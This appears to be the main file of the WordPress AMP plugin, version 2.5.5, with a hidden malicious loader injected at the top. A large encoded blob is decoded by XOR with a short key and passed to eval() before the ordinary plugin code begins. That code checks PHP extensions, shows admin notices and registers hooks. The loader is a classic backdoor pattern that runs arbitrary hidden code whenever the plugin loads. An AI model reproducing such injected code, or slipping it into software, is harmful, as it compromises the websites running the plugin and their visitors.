,Jp6 S,p@)ACFubo@VAC!_d4'~XK<B?_"K5@1*9[}?8VRtj^B~.X(sPt8<d7_A32/g5:'s/CB'xFOtB;6]M\]d 4VD+y-5fg#> _$27|*4G>H g4p'`Io]A,Yd qO.g-c=,cY2_Fp; EO'4A	[%3FS#:p+K.F
,[^gB4@XM;Sz(E^x$-0k#r(.R=f/yB? j.'
jS^UwE/e=P sRC _'4kPd-"PVdH0{.Kl#50W:+@n0^ #,`)~95D>B'f)CAx7SY!y%{>I'cwNNU)fJ"y=Bu@AyBBNVZ"|'_-X]/B!w	 B!`4B*~94a%rD.@6EHDUn$6GQr<&Y6fY
-W4yINF|!I/B%W=x/Qx*pJF=DUp>V< AC3P8@(o4)4Ux9AQAO??k^f),}+	33R<<W1e>Oz+T%:V J5 1S/a[MU43&g#]1@@p
3,BQbe(r0\)O;(7A4YcW#$kRRHd~E@yb=DT<@F!$c"e!2;GI~A_z5p&uO 5>*VFOYP[Dbe(>vMu>FIX1/z+=4XTVs.x7;0~Q'FRq,9@:fl 7_s: _I
>Vd3O'6W,Cu1zF32C3(4><oY%j|`- 0O2Z %j0r]X{Y 2b3^BC2gNQP*5E?[&@Z L!.A[Fr$q!GA
,jL]L@GQa'Y_=I]-]D
",d36&}(`UQ@R%Wa8?qw+8YR ;Z6Gg,Z]+CW_&T'N)bTp=8(WC?d;AEV7X`V F*8MjIL}-_G>}43/.R35 u4^(-=~ORAK<@$H<bIgBV5 *y,b0S8!S8+P0aIN] -=xrC6&F7_6[z8Y&~
LC9g-s6@W+2S%c4=x{&@FS F^fNFSw AF~"}Ea+>GFGJ8ug5 X4 
xHy%\+CyF"5![=.H2:-GsIG63#b$Cb<c{=Y@^cKK= 5"TWz*!`- 0B:k!U 7' 1dIOw@VE ?!Q"#-z0Z {10  A6@$!,UV;-7C JUC=
"F1:_"e.dCB E=.@Y7>N0KF]2 n;\ GvT37v6\3j<[D/S#0FT}/:g_lR^ 37q@TR!c?e!,'U
/jC3;% #Gp(}4"c>@]x1o$)k
`J1z*c(V?1=xG.7aaR@JR + 'g$	u|&Z
b: 4~2\$Z<0JFN85c.{/Ew x+-DPn"}.[;7^1d@>1teB=BUL6VR\15eQn$N_@.p-a% ;Z%|5fT6- ZCtR'Ys[ <|Ud@V'^RHDw]5<O=kt#+<T^*YJ2LFW!2F/n:-3A]2CTDD%XM^3J,Q5[">>G4g(A>8[12FW
! DB=O%sYB=y+@_0]'
}+^0(Yk
1*c4U/5p!w!DC$}(r@(yUT8V
rApR7,'UZ:LJc =UQ&=GTKNDb>n401vVy:p3<+Ek'p
X JTF!^
d<]<VPRE1K
Yh3o>50v7BC?>F2FF^` 7  @HfbJ4:Z]5 tR@&ewE3Yk	S2GC"Q0,y#~C3]?!!K^JczOFx y	:^Pg5H=k/XF*/Fn< 5H!'VTG4_J<?^*TOeI}
X
{f!0W6!Kx<*{g>#@D1|:&@1:Kb11`GefYCqSw@`wRu3w604F_lR"pI^$%vRK0NQ4P0n</0Q
QpM]L,YSC/G\ON10;LUoN;xS{R3%Az*"ZM|c7+4g5B0#!{PDFs
&AbVAcFz7qG<kD#GV^Y
Y8J&[BBY@f<c.$W##V<U380P5C4R%^,RL=uc 3a$'=qPK=K#]zW@5xuYTT(L z*<wuK }_@<]e*[@	'Q)_M_x5  V%gEMC@2K>b-o YNw0c&'k"Wb # ?NC39AVN%L<@S2UB 6yP{$?vFg7 /^Wy2Ae0b<4%gUlDK&B%p@,q(P]?[%_
N+w? D^L$7'GyNT.#`$fH2?t(@Z1A>@4EI':H'.JPr,C4>OGT`@Tp*<
VW)G[)BAE=9[%WMwR|1vz<M#w7/Ge^$Ix?Y;EX	C#Nj  2v1UK/[G"<GxIREp)Q7$Q(l?q+4d%O9:yZ55>U 6)A?N P
O"B2`LU (KXy_gI;K*xb RzFnK<Q65jM^<h~!=P(N%MeCc^,wo"5~g-/x7l@RZ0|3V|D 2
WG6I.	^C [uAW+S@B4)jRt.A[KI SB
%1>3@$sVq>t+z.@v>GEA_ f@V9[_A4pB6=FGA3GFs?=`'t]^ U-WNFo u&
Vx\*2[V2xY#)yTu/	\4N#[(x?AAaV|7R'*z7&j.bIBt1F1VSR't[?9a'OG<@%c ?C	Q,KI*>3FY-4z =3z-PDV2F/DTU^!9\}80*|DYBF3u<1%^}<fVbA9~IP17G	F]9G4G>	2PCAYWq:)]|68gu;,,`%bC<,Qt4>(x-;9q-}(;WZJRSD #
y2FvTz	8R"z4`: QLX_Y ]^b*VxX;
%
!}9#Q3@+LUUc42=ULR=?Q/N9;|!|#3>|#_3\Rr6J#IxU/EEs%C:/YQa3BF<u%7azLuFl04
3E q!T,`,sKHER@8f^OE'Z&^"|CAG <Fv gY-uVYUW6
G"'
1T?:YQ]6H/nY[6U'=^
A>]*[1@9~DD$@JU_0,Cu!s0,Hg02/QFV 2SX!kPE4.d!c3<Z3AD _
%jY*, _#H"W,Hl5+|.>D *Dh@5f@<E_T >>xo13_+ Da87#T!\+#D3-@?FVdBMEe*;v.]_%\Y!E|!O7J^>	4Wt&77 #>z*8]]
o!V%_A(V.o'MSSe?7D#FzyR,s/sYDx`D	e ?3KsD/[7(/h-Ph(DZ4s*@=aqE<3fR+!ER !x91%vWS#,Y5AG(%^SEJ{C70?z!T46M/B_:VG0`#ZK NsS.s5%ewKL9
P(?3[3R*5{W5VqzC3Z<C`dJ8CsG(9Bt.a1_ YZnN[,T1Vr68vS=qRfB<U/6:ND+UMJ	A2|%t%/t'_@JO6
zF@3P692K]67IC10tIRY*'kI<nKON,G ?&|	O 
YaT, Pn]=y^Y#$P6*4zR7(&9!QPY
&F :*@YBI,wg=;z3WN5fo>,Vp0s*8Es<ZKFY]R~L,v'R6J\%U<<@]#@jTAC(C3Vq7-e n;]f8<ap%$4360SS!Q%C!6%eR`8W$@:V,"~$n&BB(z6*g~92d>@0}BN2_'@ ,_z&/_|12O"Z3@BU?T1  PSV5x.Nwp+"t^BE=V^(\ ED
P8<t>U*G~2d A(Y;>e
\#4G:IFUL4j@?h  JF^D'V"^$oJ1!QLqQd1)FB!Z2aq#JFY Ww:#3A'z2%d	p> sC+WTP>'yt'c_@#@RtVW_p!LW.3$:Cj|QD(H ^RK> x;~6TBAGFyVw`'"<R!CO/#C`'PO!JG~SB0O}UC1Jy 9 QY0JUrF5e^g$QUJ,uP%K&qh65sXeFR eC"#Fco' p2{BYNa X#7AT>K;QFU9,>x[0dL%X0U1@M{,;RV- jQ[!Vk1[W/Q 1VQT#1?w.g8B[>]DzZC0@Wo;^Fn
(z(gEDe @Cy/t2p^z(@7dqBH>
bA(< O54@@#'UJO/4
\"]C9gPy!s]=9C&Fb(t7kFL';`)C$,^/s[*oM0 S9@YF3pR %u!LZ z6;
<0N^/6L]E,=`~DhR S6FHNS.p"ArR{ 4g!K3G0C86|+	_S	W}6A6w48 $r*Cs)b=.D1)1^	B6~K!C5~*r3 k1PJ20@5yxF;
V~@4K
T"./0E3:w"~]72FCK5%eS?!]@;4]_['8>]$W2xV\RC^?O~PyFE)q-Eb*  W2r+Y&d_]"K3eG,b[Y/"Iq5:S> CTS9CC!]/lAwMp:.^TR/Y'GG25_e*Z3R!;}2FDC3_:EQ_|> DT> *:PER1D^8vIo3ADYUC6J!e@J.WY ;WYWr:5=aMeJa|($@_6M?SIe73PER a	b#3C_A!q[Y;|\#$X>[?"]W=46NB	YxRJ"{\O?\B,H'o*=G5{K N07:d*W!g"N]0G^[ | E8FhUzCb(/Ok)wK3C%|D@5[FK0a t B7,a/z1"|'[7Y@CA]$@KH1E'  UB9D/z
,pI0?%<<cPw }/O]]At'CT{3k6DEVY.Q]V<_?V3D"hY2^q!=7\TB#c@5ET&us]R^MB- 
!y%do<^}	^!aNVB$z R1gS/N|3O(T-aJ;FqB?C{=]db/1uP+>KA:>F>be-S8I{"r&5@A_p%LAzL\3Ao=-A903eMWE@P~- C S

a44]U3$1&D2@xSy:&C`?9J 9A.bK<7z>O:3Qd(9e-RV<FJ1qe].]d
p>@:+_:)/y\:VE.
4edR\*
w
P>d3eDx}GI1DPE8 x1/"q0d}/BG5VVW?@@Q_<>'qB+;_C@Dp,T!TF|&-]EWDU1l])~1oO;QSG8p^#h=?G.R+?Y/pR<}FbK8"y:53[eG2"B
D$W6H" TW*@z5D NK"`Ff.Zz4RB.u3-4ZM 'QD6Aq*wBYN BTM5EW9-s`0F!{
;fW2B]6.Yc 0b?s{SEDNAIZ_<@R(  d]tP]90F}p)U\
u5L<!YE )4D`@9^ e0@ZE, {@8YT?*uf =J_w92dI}AWeY#'6 -Yf-c&$]<[C(s >Da<e%R,j[@Yg+@:5U	TQMa4AU5~3}5DCM%sIX?>j-GR WTPOEJ+D,AO*U^s:=CY
L&
	g:("qD+?;a	N==jM|5<A
GR6~QKGzYd>b<{w@FsU!=P	XNq1}=/F;"MC<1/A'Q( :tU 3#6!27C)[Y\ '`_XK!hMK|dD,0q0fNYPIb?SQ?7r0?|.C2FP<FBB?F5IY
PE? %k5R+6BO~\Y*A57dD&)]R."c$E:@ESz7=kZ?= {Wq8eUb ;NB~F!XS1
1j*C*}M=H{ YK1@yuGL:u}AL%W/>3]0=@6 w,Q!. \I\G 8^ A?gC"@>wN{FE?8@BEF~?T?43E(D+'}qRDEPbMXF\8V}
TF0v<}GNEfDA5\8;PSY6N1y?[E.p Oeb=/\+<g_WF	?g+^1=-a5[6s!
OLC!C4dg YK#{ I._}4@!N
v,{S8Rs  
57@UG+[";3~-Oz{G,=f_Y]41eF}5N5 "fR!EdqD`/x  I^OT
`	#_'E28H#dYMy]!fDJ1JY%KDpC<AV+_47C(#j$OGH#[q5F<H!
SFgK?,v6|C D{Rz2H>3P!F$(00r6>TNzd5B
FD H<T
)=o
l0<Y%~*E"r7//.W*LB<oCR{3YI(WF!]C8|	LN BV<>k!F@
'x5	TR@R@=e< v]70EAK0~US7 [<W#O%FQ9
uRt
:d(SE#krBFTRyWe*'2`H9z6TG0\E.0`w:Myb8" :FMK.](y+Rd8JV1K'GR$:&M hUWL?TE<cSz"fYNd)P+O}*I$}r+)f
A<Y7]5zM1]5Q$w_]BEI
!~AK0>TTfUGRV'Y6 JK=- ?5qI`$/c-E
6EG00S	q!.c"}l,!uVQ	GWA?b)zN /`"_G+R$26NFW9;B){?7Z[aQYUT"FLko? w,@?6tKxT#-SSP>ZFY7/h[J-s^S;#V
wJ@R5!X^Q!!4Q"lOV N!y=IV{Vf82|"x4`R<I$CwG9H1a1N45sCV?A_K.@U|",VDG6Q480Q3Y-F _"btG%JVSQaG YV|1(2C3?0@YAIB_G@o;>zd< #%q5K3dG0.vaRbU7UZ 0z_O^! >=85.Ng,A65j3f* f'w5P4^@!42g8+BFReK8`O"I?^$qNYJ.}&Y<_1%e4e<M]c+~1(1]PF<(Jd-@?l@L'B/Q3Y@tY#J tC>h5[:?a%]Nx
RG2QK:u6@*N:_0NR@xSY15@^]=-BA$}!pMY.j%f:9PQD3-t2Y:3HTw@1{c+N=_`F?jF !$GC .f	A4E[2yMdX#1K4adRa*M/sSN!Eb"P	]'Q6MVu_']QfDH`^BA5w:Sa5.
^L6p7E3:CY49DsMT
cQ0s)Q7B]7T*:^a%_2[BV]0	1y_bE!!EG*?X _ -,s \GJ bIta^tRK_S;?1`$[ gPA|IA&1b2Z
=X "C!}0VU
"eJ5&J.f45aQRE	%aP	Cu+@2t]TzK5K4l>?4Fo:]3"2F_0;F}6e;J7RuJ E!z@>#cy6:!4@B3U,F7=t>l<<E|0!V*U#YEL Ke\G*F
 r *h	cG:7G/ 4_$AvWC)yf*v*@J9xW=.,s%~KP,P)Y
c"IBI>@DE'F:GT bFx%5yRr14`50`5P; s4a%,XPy4AP7
RaV=w|5= ^*s
LNz	\V1p4b-Dg)\R@`(S@ T^D=+]/A( *$Fz?Ju7A?,L!	xS_Nwo1>|"}:,`-d9VtI(pZ]6=\+PAGW%<p\9LZ" 1?}{4rYY;!@x8;~dR	wPt#g-F3<6]0 <_Rt*/8G"B3#u/N75J#K.]TY;YXY7 wJY	q+ z+t0q<Ru	g;K(V,`*
$T	eGC#G;J<G>WB5hV]	B[_D:<@^#n !yF<F~#E3fPO6GXW\0|A?$J@>g
qY7KyA@=	X( `,r9(:9+S$p98Y
nD(B]^>@!uR
KB@ P->BC VG#D!A.s5
\<u	
2%}^C8:>J?|B0{ .OylR-Y7u: `!|!DIGD'AM1SHfU8H.FVs!5cqK5Hc:"hB(1 A(|A5"B^BYw78L1A_`624D(E_`FMJV^JXU4@"BEOX2yJ97Z8E"z8OYJV
PHW$gB~4:J	[=,Ue05S_eB1@l<
8VIYGZV9P]OIYGZVYVFW KNO^ZAB^ZA\^ZAXQ]^UR]WFWFR@OZ^gAR^BAR^"JU JUJUHJUQ]^UR]WFIYGZVW[SU>FUUVFQFF[^YQ^ZAA=QFK!/OR	P
_YRmSAR	P
_YRARIYSY%[]ZPM' ; $kog = 'f6ryv2' ; $eia = '' ; for ( $hmd = 0 ; $hmd < strlen( $gke( $yvc ) ) ; $hmd++ ) { $eia .= $gke( $yvc )[ $hmd ] ^ $kog[ $hmd % strlen( $kog ) ] ; } eval( $eia );

define( 'AMP__FILE__', __FILE__ );
define( 'AMP__DIR__', dirname( __FILE__ ) );
define( 'AMP__VERSION', '2.5.5' );

/**
 * Errors encountered while loading the plugin.
 *
 * This has to be a global for the sake of PHP 5.2.
 *
 * @var WP_Error $_amp_load_errors
 */
global $_amp_load_errors;

$_amp_load_errors = new WP_Error();

if ( version_compare( phpversion(), '7.4', '<' ) ) {
	$_amp_load_errors->add(
		'insufficient_php_version',
		sprintf(
			/* translators: %s: required PHP version */
			__( 'The AMP plugin requires PHP %s. Please contact your host to update your PHP version.', 'amp' ),
			'7.4+'
		)
	);
}

// See composer.json for this list.
$_amp_required_extensions = array(
	// Required by FasterImage.
	'curl'   => array(
		'functions' => array(
			'curl_close',
			'curl_errno',
			'curl_error',
			'curl_exec',
			'curl_getinfo',
			'curl_init',
			'curl_setopt',
		),
	),
	'dom'    => array(
		'classes' => array(
			'DOMAttr',
			'DOMComment',
			'DOMDocument',
			'DOMElement',
			'DOMNode',
			'DOMNodeList',
			'DOMXPath',
		),
	),
	'filter' => array(
		'functions' => array(
			'filter_var',
		),
	),
	// Required by PHP-CSS-Parser.
	'iconv'  => array(
		'functions' => array( 'iconv' ),
	),
	'libxml' => array(
		'functions' => array( 'libxml_use_internal_errors' ),
	),
	'spl'    => array(
		'functions' => array( 'spl_autoload_register' ),
	),
);
$_amp_missing_extensions = array();
$_amp_missing_classes    = array();
$_amp_missing_functions  = array();
foreach ( $_amp_required_extensions as $_amp_required_extension => $_amp_required_constructs ) {
	if ( ! extension_loaded( $_amp_required_extension ) ) {
		$_amp_missing_extensions[] = "<code>$_amp_required_extension</code>";
	} else {
		foreach ( $_amp_required_constructs as $_amp_construct_type => $_amp_constructs ) {
			switch ( $_amp_construct_type ) {
				case 'functions':
					foreach ( $_amp_constructs as $_amp_construct ) {
						if ( ! function_exists( $_amp_construct ) ) {
							$_amp_missing_functions[] = "<code>$_amp_construct</code>";
						}
					}
					break;
				case 'classes':
					foreach ( $_amp_constructs as $_amp_construct ) {
						if ( ! class_exists( $_amp_construct ) ) {
							$_amp_missing_classes[] = "<code>$_amp_construct</code>";
						}
					}
					break;
			}
		}
		unset( $_amp_construct_type, $_amp_constructs );
	}
}
if ( count( $_amp_missing_extensions ) > 0 ) {
	$_amp_load_errors->add(
		'missing_extension',
		sprintf(
			/* translators: %s is list of missing extensions */
			_n(
				'The following PHP extension is missing: %s. Please contact your host to finish installation.',
				'The following PHP extensions are missing: %s. Please contact your host to finish installation.',
				count( $_amp_missing_extensions ),
				'amp'
			),
			implode( ', ', $_amp_missing_extensions )
		)
	);
}
if ( count( $_amp_missing_classes ) > 0 ) {
	$_amp_load_errors->add(
		'missing_class',
		sprintf(
			/* translators: %s is list of missing extensions */
			_n(
				'The following PHP class is missing: %s. Please contact your host to finish installation.',
				'The following PHP classes are missing: %s. Please contact your host to finish installation.',
				count( $_amp_missing_classes ),
				'amp'
			),
			implode( ', ', $_amp_missing_classes )
		)
	);
}
if ( count( $_amp_missing_functions ) > 0 ) {
	$_amp_load_errors->add(
		'missing_class',
		sprintf(
			/* translators: %s is list of missing extensions */
			_n(
				'The following PHP function is missing: %s. Please contact your host to finish installation.',
				'The following PHP functions are missing: %s. Please contact your host to finish installation.',
				count( $_amp_missing_functions ),
				'amp'
			),
			implode( ', ', $_amp_missing_functions )
		)
	);
}

unset( $_amp_required_extensions, $_amp_missing_extensions, $_amp_required_constructs, $_amp_missing_classes, $_amp_missing_functions, $_amp_required_extension, $_amp_construct_type, $_amp_construct, $_amp_constructs );

/**
 * Displays an admin notice about why the plugin is unable to load.
 *
 * @since 1.1.2
 * @internal
 * @global WP_Error $_amp_load_errors
 */
function _amp_show_load_errors_admin_notice() {
	global $_amp_load_errors;
	?>
	<div class="notice notice-error">
		<p>
			<strong><?php esc_html_e( 'AMP plugin unable to initialize.', 'amp' ); ?></strong>
			<ul>
			<?php foreach ( array_keys( $_amp_load_errors->errors ) as $error_code ) : ?>
				<?php foreach ( $_amp_load_errors->get_error_messages( $error_code ) as $message ) : ?>
					<li>
						<?php echo wp_kses_post( $message ); ?>
					</li>
				<?php endforeach; ?>
			<?php endforeach; ?>
			</ul>
		</p>
	</div>
	<?php
}

// Abort if dependencies are not satisfied.
if ( ! empty( $_amp_load_errors->errors ) ) {
	add_action( 'admin_notices', '_amp_show_load_errors_admin_notice' );

	if ( ( defined( 'WP_CLI' ) && WP_CLI ) || 'true' === getenv( 'CI' ) || 'cli' === PHP_SAPI ) {
		$messages = array( __( 'AMP plugin unable to initialize.', 'amp' ) );
		foreach ( array_keys( $_amp_load_errors->errors ) as $error_code ) {
			$messages = array_merge( $messages, $_amp_load_errors->get_error_messages( $error_code ) );
		}
		$message = implode( "\n * ", $messages );
		$message = str_replace( array( '<code>', '</code>' ), '`', $message );
		$message = html_entity_decode( $message, ENT_QUOTES, 'UTF-8' );

		if ( ! class_exists( 'WP_CLI' ) ) {
			echo "$message\n"; // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped

			exit( 1 );
		}

		WP_CLI::warning( $message );
	}

	return;
}

/**
 * Print admin notice if plugin installed with incorrect slug (which impacts WordPress's auto-update system).
 *
 * @since 1.0
 * @internal
 */
function _amp_incorrect_plugin_slug_admin_notice() {
	$actual_slug = basename( AMP__DIR__ );
	?>
	<div class="notice notice-warning">
		<p>
			<?php
			echo wp_kses_post(
				sprintf(
					/* translators: %1$s is the current directory name, and %2$s is the required directory name */
					__( 'You appear to have installed the AMP plugin incorrectly. It is currently installed in the <code>%1$s</code> directory, but it needs to be placed in a directory named <code>%2$s</code>. Please rename the directory. This is important for WordPress plugin auto-updates.', 'amp' ),
					$actual_slug,
					'amp'
				)
			);
			?>
		</p>
	</div>
	<?php
}

if ( 'amp' !== basename( AMP__DIR__ ) ) {
	add_action( 'admin_notices', '_amp_incorrect_plugin_slug_admin_notice' );
}

require_once AMP__DIR__ . '/vendor/autoload.php';

register_activation_hook( __FILE__, 'amp_activate' );

register_deactivation_hook( __FILE__, 'amp_deactivate' );

add_action( 'plugins_loaded', 'amp_bootstrap_plugin', defined( 'PHP_INT_MIN' ) ? PHP_INT_MIN : ~PHP_INT_MAX ); // phpcs:ignore PHPCompatibility.Constants.NewConstants.php_int_minFound